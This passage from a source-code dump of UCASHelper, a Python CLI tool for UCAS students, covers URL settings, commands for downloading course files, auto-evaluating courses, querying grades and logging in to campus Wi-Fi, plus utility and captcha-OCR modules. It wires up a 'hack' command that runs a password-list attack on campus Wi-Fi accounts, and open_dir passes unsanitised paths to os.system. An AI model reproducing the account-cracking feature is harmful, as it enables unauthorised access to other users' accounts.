86 | 'https':'https://sep.ucas.ac.cn/portal/site/226/821',
87 | },
88 | 'base_saveCourseEval_url':{
89 | 'http':'http://jwxk.ucas.ac.cn/evaluate/saveCourseEval/',
90 | 'https':'https://jwxk.ucas.ac.cn/evaluate/saveCourseEval/',
91 | },
92 | 'base_evaluateCourse_url':{
93 | 'http':'http://jwxk.ucas.ac.cn/evaluate/evaluateCourse/',
94 | 'https':'https://jwxk.ucas.ac.cn/evaluate/evaluateCourse/',
95 | },
96 | 'base_evaluateTeacher_url':{
97 | 'http':'http://jwxk.ucas.ac.cn/evaluate/evaluateTeacher/',
98 | 'https':'https://jwxk.ucas.ac.cn/evaluate/evaluateTeacher/'
99 | },
100 | 'base_evaluate_url':{
101 | 'http':'http://jwxk.ucas.ac.cn/evaluate/',
102 | 'https':'https://jwxk.ucas.ac.cn/evaluate/'
103 | }
104 | }
105 |
--------------------------------------------------------------------------------
/ucashelper.py:
--------------------------------------------------------------------------------
1 | # @Author : GentleCP
2 | # @Email : 574881148@qq.com
3 | # @File : ucashelper.py
4 | # @Item : PyCharm
5 | # @Time : 2019/11/28/028 13:58
6 | # @WebSite : https://www.gentlecp.com
7 |
8 |
9 | import click
10 | import sys
11 | import os
12 |
13 | from handler import ui
14 | from core.wifi import AccHacker
15 | from core.assess import Assesser
16 | from core.grade import GradeObserver
17 | from core.download import Downloader
18 | from core.wifi import WifiLoginer
19 |
20 | import settings
21 |
22 | ROOT_PATH = os.path.dirname(__file__)
23 | sys.path.append(ROOT_PATH)
24 |
25 |
26 | @click.group()
27 | def start():
28 | """UCASHelper is a useful tool for UCASer, following are the arguments that you could choose"""
29 |
30 | @click.command(name='config',help='Set your user info and download path(not support on windows)')
31 | def config():
32 | if not sys.platform.startswith('win'):
33 | from handler.configer import UCASHelperConfigApp
34 | UCASHelperConfigApp().run()
35 | else:
36 | print('config not support on windows. please set config in conf/user_config.ini by yourself.')
37 |
38 |
39 | @click.command(name='ui',help='Get UI interface of UCASHelper')
40 | def UI():
41 | ui.main(record_path=settings.RECORD_PATH)
42 |
43 |
44 | @click.command(name='down',help='Download resources from sep website')
45 | def download_source():
46 | downloader = Downloader(
47 | urls=settings.URLS,
48 | user_config_path=settings.USER_CONFIG_PATH,
49 | filter_list=settings.FILTER_LIST)
50 | downloader.run()
51 |
52 |
53 | @click.command(name='assess',help='Auto assess courses and teachers')
54 | def auto_assess():
55 | assesser = Assesser(
56 | urls=settings.URLS,
57 | user_config_path=settings.USER_CONFIG_PATH,
58 | assess_msgs=settings.ASSESS_MSG)
59 | assesser.run()
60 |
61 |
62 | @click.command(name='grade',help='Query your grades')
63 | def query_grades():
64 | gradeObserver = GradeObserver(
65 | urls=settings.URLS,
66 | user_config_path=settings.USER_CONFIG_PATH) # todo, delete
67 | gradeObserver.run()
68 |
69 |
70 | @click.command(name='hack',help='Hack wifi accounts')
71 | def hack_accounts():
72 | hacker = AccHacker(data_path='data/data.txt', password_path='data/password.txt')
73 | hacker.run()
74 |
75 | @click.command(name='login',help='Login campus network')
76 | def login_wifi():
77 | wifiLoginer = WifiLoginer(accounts_path=settings.ACCOUNTS_PATH)
78 | wifiLoginer.login()
79 |
80 |
81 | @click.command(name='logout',help='Logout campus network')
82 | def logout_wifi():
83 | wifiLoginer = WifiLoginer(accounts_path=settings.ACCOUNTS_PATH)
84 | wifiLoginer.logout()
85 |
86 |
87 | if __name__ == '__main__':
88 | commands = [UI,auto_assess,download_source,query_grades,hack_accounts,login_wifi,logout_wifi, config]
89 | for command in commands:
90 | start.add_command(command)
91 | start()
92 |
--------------------------------------------------------------------------------
/util/__init__.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python3
2 | # -*- coding: utf-8 -*-
3 | """
4 | -----------------File Info-----------------------
5 | Name: __init__.py.py
6 | Description:
7 | Author: GentleCP
8 | Email: 574881148@qq.com
9 | WebSite: https://www.gentlecp.com
10 | Create Date: 2020-12-29
11 | -----------------End-----------------------------
12 | """
--------------------------------------------------------------------------------
/util/functions.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python3
2 | # -*- coding: utf-8 -*-
3 | """
4 | -----------------File Info-----------------------
5 | Name: functions.py
6 | Description: 工具函数
7 | Author: GentleCP
8 | Email: 574881148@qq.com
9 | WebSite: https://www.gentlecp.com
10 | Create Date: 2020-12-29
11 | -----------------End-----------------------------
12 | """
13 |
14 | import requests
15 | import os
16 | import sys
17 | import logging
18 | from tqdm import tqdm
19 | from configparser import ConfigParser
20 |
21 | from handler.exception import ConfigReadError
22 |
23 |
24 | def download_file(url, session=None, file_path='未命名文件', overwrite = False):
25 | '''
26 | 根据指定url下载文件
27 | :param url:
28 | :param session: 传入的会话参数,有的需要登录才能下载
29 | :param file_path: 文件存储路径,默认为当前目录下,存储文件为未命名文件
30 | :param overwrite: 是否覆盖同名文件,默认否
31 | :return: 正确下载返回True,否则False
32 | '''
33 | if session:
34 | res = session.get(url, stream = True)
35 | else:
36 | res = requests.get(url,stream=True)
37 | file_size = int(res.headers['content-length'])
38 | chunk_size = 1024
39 | if res.status_code == 200:
40 | if not overwrite and os.path.exists(file_path):
41 | return True
42 | else:
43 | progress_bar = tqdm(
44 | total=file_size,initial=0,unit='B',unit_scale=True,
45 | )
46 | with open(file_path,'wb') as f:
47 | for data in res.iter_content(chunk_size=chunk_size):
48 | if data:
49 | f.write(data)
50 | progress_bar.update(chunk_size)
51 | progress_bar.close()
52 | else:
53 | logging.error('download fail.')
54 | return False
55 |
56 |
57 | def check_dir(dir):
58 | if not os.path.exists(dir):
59 | try:
60 | os.mkdir(dir)
61 | return False
62 | except FileNotFoundError:
63 | return True
64 |
65 |
66 | def recur_mkdir(course_dir, dirs):
67 | '''
68 | 递归检查目录是否存在,若不存在则创建
69 | :param dirs:
70 | :return:
71 | '''
72 | rec_dir = course_dir # 递归查询的目录
73 | while dirs:
74 | rec_dir = rec_dir + '/' + dirs[0]
75 | if not os.path.exists(rec_dir):
76 | os.mkdir(rec_dir)
77 | del dirs[0]
78 |
79 |
80 | def open_dir(dir):
81 | '''
82 | 打开指定目录窗口
83 | :return:
84 | '''
85 | if sys.platform.startswith('win'):
86 | result = os.system('start ' + dir)
87 | elif sys.platform.startswith('linux'):
88 | result = os.system('nautilus ' + dir)
89 | else:
90 | result = os.system('open ' + dir)
91 | return result
92 |
93 |
94 | def get_cfg(config_path):
95 | '''
96 | 基于给定的配置路径生成ConfigParser
97 | :param config_path:
98 | :return: cfg
99 | '''
100 | cfg = ConfigParser()
101 | cfg.read(config_path, encoding='utf-8')
102 | return cfg
103 |
--------------------------------------------------------------------------------
/util/ocr.py:
--------------------------------------------------------------------------------
1 | import ddddocr
2 | import io
3 | from PIL import Image
4 |
5 | def _image_to_byte_array(image:Image):
6 | imgByteArr = io.BytesIO()
7 | image.save(imgByteArr, format=image.format)
8 | imgByteArr = imgByteArr.getvalue()
9 | return imgByteArr
10 |
11 |
12 | def do_ocr(image:Image):
13 | # recognize the image
14 | ocr = ddddocr.DdddOcr()
15 | img_bytes = _image_to_byte_array(image)
16 | ocr_res = ocr.classification(img_bytes)
17 | print("读取结果:", ocr_res)
18 | return ocr_res
--------------------------------------------------------------------------------